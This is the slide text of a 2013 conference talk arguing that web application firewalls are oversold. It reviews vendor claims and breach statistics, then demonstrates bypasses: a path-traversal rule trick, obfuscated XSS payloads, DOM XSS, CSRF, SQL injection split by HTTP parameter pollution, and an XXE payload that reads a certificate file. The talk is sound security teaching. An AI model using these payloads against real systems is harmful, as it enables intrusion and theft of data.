We protect you applications! No, you don t Digicomp Hacking Day 2013 May 16 th 2013
Sven Vetsch Partner & CTO at Redguard AG www.redguard.ch Specialized in Application Security (Web, Web-Services, Mobile, ) Leader OWASP Switzerland www.owasp.org / www.owasp.ch sven.vetsch@redguard.ch Twitter: @disenchant_ch / @redguard_ch
Sven Vetsch Partner & CTO at Redguard AG Specialized in Application Security www.redguard.ch (Web, Web-Services, Mobile, ) Leader OWASP Switzerland www.owasp.org / www.owasp.ch sven.vetsch@redguard.ch Twitter: @disenchant_ch / @redguard_ch
Disclaimer This presentation is focused on classic WAF functionality so we won t get into Single-Sign- On, Content Injection and so on. All the views in this presentation are my own and not necessarily those of Redguard AG.
Outline WAF in numbers What do vendors tell you Bypassing techniques
I Intro
>80% of organizations were attacked successfully at least once in 2011 Perceptions About Network Security - Ponemon Institute Research Report, 2011
Companies hacked in 2012/2013
23% already experienced a data or system breach as a result of an application layer vulnerability WhiteHat Security Website Security Statistics Report May 2013
55.6% of all organizations use WAFs only 29% in banking WhiteHat Security Website Security Statistics Report May 2013
WAF Deployment by Industry Banking 29 43 29 Financial Services 30 30 10 30 Healthcare 17 50 17 17 Retail 30 20 10 30 10 Technology 32 12 8 36 12 Monitoring and actively blocking attacks Currently only monitoring traffic Installing and/or configuration mode No WAF deployed Don't know WhiteHat Security Website Security Statistics Report May 2013
WAF usage after a breach Monitoring and actively blocking attacks 31% 38% Currently only monitoring traffic Installing and/or configuration mode 6% 6% 19% Don't know No WAF deployed WhiteHat Security Website Security Statistics Report May 2013
62% of attacks can be blocked by a WAF with default rule sets NT OBJECTives - Analyzing the Effectiveness of Web Application Firewalls 2011
Organizations with a Web Application Firewall deployed had 11% more vulnerabilities, resolved them 8% slower, 7% and had a lower remediation rate. WhiteHat Security Website Security Statistics Report May 2013
A WAF makes me less secure!?
Possible reasons: Insufficient global security processes Rules are not sufficient Not enough resources to manage the WAF WAFs are threated as if they could solve all problem WAFs are only in monitoring mode instead of blocking anything
A WAF is a tool, not a solution
Don t worry, there are also good news
By summing all these percentages up we could safely say that a WAF could feasible help mitigate the risk of at least 71% of all custom web application vulnerabilities WhiteHat Security Website Security Statistics Report May 2012
II Vendor Claims
Vendor Supplied Certificate [Product] guarantees security of web applications. 12 May 2013 Redguard AG Sven Vetsch sven.vetsch@redguard.ch 21
Vendor Supplied Certificate The [Company] Web Application Firewall quickly protects web servers from data breaches and websites from defacement without administrators waiting for clean code or even knowing how an application works. 12 May 2013 Redguard AG Sven Vetsch sven.vetsch@redguard.ch 22
Vendor Supplied Certificate Fully addresses PCI 6.6 12 May 2013 Redguard AG Sven Vetsch sven.vetsch@redguard.ch 23
Vendor Supplied Certificate Data Security Standard v2 6.6 For public-facing web applications, address new threats and vulnerabilities on an ongoing basis and ensure these applications are protected against known attacks by either of the following methods: Fully addresses PCI 6.6 or automated Reviewing public-facing web applications via manual application vulnerability security assessment tools or methods, at least annually and after any changes Installing a web-application firewall in front of public-facing web applications 15 May 2013 Redguard AG Sven Vetsch sven.vetsch@redguard.ch 24
Vendor Supplied Certificate Because of its unique blend of HTML and XML security, the [Company] Web Application Firewall provides a full compliance solution for the PCI DSS sections 6.5 and 6.6, which mandate the implementation of a Web application firewall by June 30, 2008. 12 May 2013 Redguard AG Sven Vetsch sven.vetsch@redguard.ch 25
Vendor Supplied Certificate Data Security Standard v2 6.5 Develop applications based onblend secure coding guidelines. Because of its unique of HTML andprevent XML common coding vulnerabilities in software development processes, to security, the [Company] Web Application Firewall include the following: [OWASP Top 10] provides a full compliance solution for the PCI DSS sections 6.5 and 6.6, which mandate the implementation of a Web application firewall by June 30, 2008. 15 May 2013 Redguard AG Sven Vetsch sven.vetsch@redguard.ch 26
Vendor Supplied Certificate The [Product] offers you the following technical features:... Session fixation 15 May 2013 Redguard AG Sven Vetsch sven.vetsch@redguard.ch 27
Vendor Supplied Certificate The [Product] offers you the following technical features:... Session fixation 12 May 2013 Redguard AG Sven Vetsch sven.vetsch@redguard.ch 28
III Bypassing WAFs
Insecure Rules Let s take the following pseudo rule: if ($path == "/admin") { if ($ipaddr == $internal_ipaddr) [block request] else [allow request] }
Insecure Rules 192.168.1.42 /admin WAF 203.0.113.23
Insecure Rules 192.168.1.42 /../admin WAF 203.0.113.23
Insecure Rules "/admin" == "/admin" -> true "/../admin" == "/admin" -> false
XSS Obfuscation When non-security people talk about XSS <script>alert("xss");</script>
XSS Obfuscation When security people talk about XSS <script>alert(string.fromcharcode(88, 83,83));</script> <IMG SRC=javasc ript:a 08;ert('X& #83;S')>
XSS Obfuscation When appsec people talk about XSS <script> window[(+{}+[])[-~[]]+(![]+[])[-~- ~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[]) [-~[]]+(!![]+[])[+[]]](("XSS")) </script>
XSS Obfuscation When appsec people talk about XSS <script> [][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[] +!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+ [])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+ []]+([]+{})[+!![]]+(!![]+[])[+!![]]]((+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+ []+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]] +(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([] [[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+ []]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]] ((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[]) [+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+ ([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!! []+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+ [])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[]) [+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+ {})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[]) [+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+ </script> Try it yourself: http://patriciopalladino.com/files/hieroglyphy/
DOM-based XSS <!DOCTYPE html> <html> <body> Hello <span id="name"></span> <script> document.getelementbyid("name").innerhtml = document.location.hash.slice(1); </script> </body> </html>
DOM-based XSS <!DOCTYPE html> <html> <body> Hello <span id="name"></span> <script> document.getelementbyid("name").innerhtml = document.location.hash.slice(1); </script> </body> </html>
DOM-based XSS http://www.example.com/#john http://www.example.com/#<h1>john</h1>
DOM-based XSS http://www.example.com/#<img src="x" onerror="alert(1)"/>
A XSS attack like the one showed never hits the server so screw your WAF
Cross-Site Request Forgery (CSRF) http://www.evil.com http://www.nice.com 1 3 <img src= http:// www.nice.com /buy? article=123 /> 2
Without understanding the application or modifying the HTTP response, a WAF can t protect against CSRF attacks.
11.2% of all application are vulnerable to CSRF attacks my experience would be more around 50% WhiteHat Security Website Security Statistics Report May 2013
HTTP Parameter Pollution (HPP) http://www.google.com/? q=<script>&q=alert("xss")&q=</script>
HTTP Parameter Pollution (HPP) http://www.example.com/?id=1&id=2 Technology Behavior Result ASP / ASP.NET ConcatenaJon id=1,2 PHP Last occurrence id=2 Java First occurrence id=1
HTTP Parameter Pollution (HPP) Let s have a look at the following simple pseudo rule against SQL Injection attacks: if $param_id.match(/.*select.*from.*/) [block request]
HTTP Parameter Pollution (HPP) http://www.example.com/page.aspx?id=123 http://www.example.com/page.aspx? id=123;select%201,password%20from%20 users;%20-- http://www.example.com/page.aspx? id=123;&id=select%201&id=password%20from %20users;%20--
HTTP Parameter Pollution (HPP) http://www.example.com/page.aspx? id=123;&id=select%201&id=password%20from %20users;%20-- id = 123; id = select 1 id = password from users; -- -> 123; select 1,password from users; --
WAF rules are not platform independent
More things your WAF isn t good at Anti-Automation and process validation Understanding application logic Insufficient Authentication & Authorization Brute Force Attacks Session Fixation Anomaly Detection Improper Filesystem Permissions Securing client side running code
Hacking a WAF (for fun and profit) In the past, WAFs also suffered from vulnerabilities like: Filter Bypasses (a lot of them!!!) XSS in their web admin interface CSRF in their web admin interface Default SSH root passwords Information Disclosure about the LAN/DMZ Arbitrary remote command execution XML External Entity (XXE) Attacks
Hacking a WAF (for fun and profit) Example scenario based on ModSecurity XML External Entity (XXE) vulnerability CVE-2013-1915
Hacking a WAF (for fun and profit) WAF
Hacking a WAF (for fun and profit) WAF /etc/apache2/ssl/cert.pem
Hacking a WAF (for fun and profit) Request: <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/apache2/ssl/cert.pem" >]><foo>&xxe;</foo> Response:
Hacking a WAF (for fun and profit) WAF
IV Wrap Up
WAFs Conclusion are good at least they can help you must be tuned by a trained professional can t compensate insecure code aren t an alternative to patching vulnerabilities can generate a lot of profit for vendors so be careful about what features you really need and how well they perform don t solve all your appsec problems
We should accept WAFs for what they really are: a method of increasing the cost of attacks, but not necessarily one that might repel every attacker. Ivan Ristic
Q & A sven.vetsch@redguard.ch @disenchant_ch / @redguard_ch